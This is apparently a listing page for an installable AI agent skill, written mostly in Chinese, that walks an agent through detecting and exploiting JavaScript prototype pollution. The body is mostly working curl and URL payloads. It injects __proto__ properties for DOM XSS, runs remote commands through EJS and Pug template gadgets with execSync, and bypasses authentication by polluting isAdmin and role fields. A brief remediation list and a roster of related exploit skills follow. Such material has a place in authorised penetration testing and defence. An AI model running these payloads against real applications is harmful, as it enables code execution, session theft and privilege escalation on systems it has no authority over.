exploiting-prototype-pollution-in-javascript
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。
Best use case
exploiting-prototype-pollution-in-javascript is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。
Teams using exploiting-prototype-pollution-in-javascript should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-prototype-pollution-in-javascript/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-prototype-pollution-in-javascript Compares
| Feature / Agent | exploiting-prototype-pollution-in-javascript | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 JavaScript 原型链污染漏洞(Exploiting Prototype Pollution in JavaScript)
## 适用场景
- 测试 Node.js 或 JavaScript 密集型 Web 应用程序时
- 评估接受深度合并 JSON 对象的 API 时
- 测试客户端 JavaScript 框架中通过原型链污染的 DOM XSS 时
- 对对象合并/克隆/扩展操作进行代码审查时
- 评估 npm 包中的原型链污染 Gadget 时
## 前置条件
- 带有 DOM Invader 扩展的 Burp Suite,用于客户端原型链污染检测
- 用于服务器端测试的 Node.js 开发环境
- 了解 JavaScript 原型链和对象继承
- 了解常见污染 Gadget(来源、目标和可利用属性)
- 用于服务器端检测的 Prototype Pollution Gadgets Scanner Burp 扩展
- 用于客户端原型操纵的浏览器开发者控制台
## 工作流程
### 步骤 1:识别原型链污染来源
```javascript
// 客户端:测试基于 URL 的来源
// 访问:http://target.com/page?__proto__[polluted]=true
// 或使用 constructor:http://target.com/page?constructor[prototype][polluted]=true
// 在浏览器控制台中检查:
console.log(({}).polluted); // 如果返回 "true",则污染已确认
// 常见的基于 URL 的污染向量:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash 片段污染:
// http://target.com/#__proto__[key]=value
```
### 步骤 2:测试服务器端原型链污染
```bash
# 通过带 __proto__ 的 JSON 体测试
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# 通过 constructor.prototype 测试
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# 测试状态码反射(检测技术)
# 污染 status 属性以检测服务器端污染
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
# 如果响应返回 510,则服务器端污染已确认
# JSON 内容类型污染
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```
### 步骤 3:利用客户端实现 DOM XSS
```javascript
// 步骤 1:找到污染来源(URL 参数、JSON 输入、postMessage)
// 步骤 2:找到 Gadget - 从原型链读取并到达目标的属性
// DOM XSS 的常见 Gadget:
// innerHTML Gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() Gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL Gadget(常见于分析脚本):
// ?__proto__[transport_url]=data:,alert(1)//
// 通过原型链污染绕过清理器:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// 使用 DOM Invader(Burp Suite 内置):
// 1. 在 Burp 的嵌入式浏览器中启用 DOM Invader
// 2. 启用原型链污染选项
// 3. 浏览应用程序 - DOM Invader 自动检测来源
// 4. 单击"扫描 Gadget"以找到可利用的目标
```
### 步骤 4:利用服务器端实现 RCE
```bash
# Node.js child_process Gadget(RCE)
# 如果应用程序调用 child_process.execSync()、spawn() 或 fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS 模板引擎 Gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars 模板 Gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug 模板引擎 Gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```
### 步骤 5:利用实现身份验证和授权绕过
```bash
# 污染 isAdmin 或 role 属性
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
# 污染与认证相关的属性
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
# 绕过 JSON 模式验证
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'
```
### 步骤 6:使用自动化工具检测
```bash
# 使用 ppfuzz 进行自动化检测
ppfuzz -l urls.txt -o results.txt
# Nuclei 原型链污染模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
# 使用 Burp Scanner 进行服务器端检测
# 启用"服务器端原型链污染"扫描检查
# 查看 Burp Dashboard 中的问题
# 通过时序/错误技术进行手动检测
# 污染导致可检测服务器行为变化的属性
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
# 如果服务器报错(500),则污染正在生效
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 原型链(Prototype Chain) | JavaScript 继承机制,对象从 Object.prototype 继承 |
| __proto__ | 公开对象原型的访问器属性 |
| 污染来源(Pollution Source) | 允许在 Object.prototype 上设置属性的输入点 |
| 污染目标(Pollution Sink) | 读取被污染属性并执行危险操作的代码 |
| Gadget | 从原型流向危险目标的属性(来源到目标链) |
| 深度合并(Deep Merge) | 可能将 __proto__ 作为普通键处理的递归对象合并函数 |
| constructor.prototype | 访问和污染原型对象的替代路径 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| DOM Invader | Burp Suite 内置工具,用于检测客户端原型链污染 |
| Prototype Pollution Gadgets Scanner | 用于服务器端 Gadget 检测的 Burp 扩展 |
| ppfuzz | 自动化原型链污染模糊器 |
| Nuclei | 带有原型链污染模板的基于模板的扫描器 |
| server-side-prototype-pollution | 用于服务器端检测的 Burp Scanner 检查 |
| ESLint security plugin | 代码中原型链污染模式的静态分析 |
## 常见场景
1. **通过分析脚本的 DOM XSS** — 污染 transport_url 属性,通过读取 URL 原型的分析跟踪脚本注入 JavaScript
2. **通过模板引擎的 RCE** — 利用 EJS/Pug/Handlebars Gadget 通过被污染的模板渲染属性执行任意命令
3. **管理员权限提升** — 污染 isAdmin 或 role 属性以绕过 Node.js 应用程序中的授权检查
4. **JSON 模式绕过** — 污染模式验证属性以绕过输入验证并注入恶意数据
5. **拒绝服务** — 污染 toString 或 valueOf 以在对象强制转换为原始类型时导致应用程序崩溃
## 输出格式
```
## 原型链污染评估报告
- **目标**: http://target.com
- **类型**: 服务器端原型链污染
- **影响**: 通过 EJS 模板 Gadget 实现远程代码执行
### 发现
| # | 来源 | Gadget | 目标 | 影响 |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | 模板渲染 | RCE |
| 2 | POST /api/profile __proto__ | isAdmin 属性 | 认证中间件 | 权限提升 |
| 3 | URL ?__proto__[innerHTML] | innerHTML 属性 | DOM 写入 | 客户端 XSS |
### 修复建议
- 对配置对象使用 Object.create(null) 而不是 {}
- 使用 Object.freeze(Object.prototype) 冻结 Object.prototype
- 清理用户输入中的 __proto__ 和 constructor 键
- 对用户控制的数据使用 Map 而不是普通对象
- 更新易受攻击的 npm 包(lodash、merge-deep 等)
```Related Skills
performing-http-parameter-pollution-attack
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-with-sqlmap
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。
exploiting-smb-vulnerabilities-with-metasploit
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
exploiting-server-side-request-forgery
在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。
exploiting-race-condition-vulnerabilities
使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。
exploiting-oauth-misconfiguration
在安全评估期间识别并利用 OAuth 2.0 和 OpenID Connect 错误配置,包括重定向 URI 操纵、令牌泄漏和授权码窃取。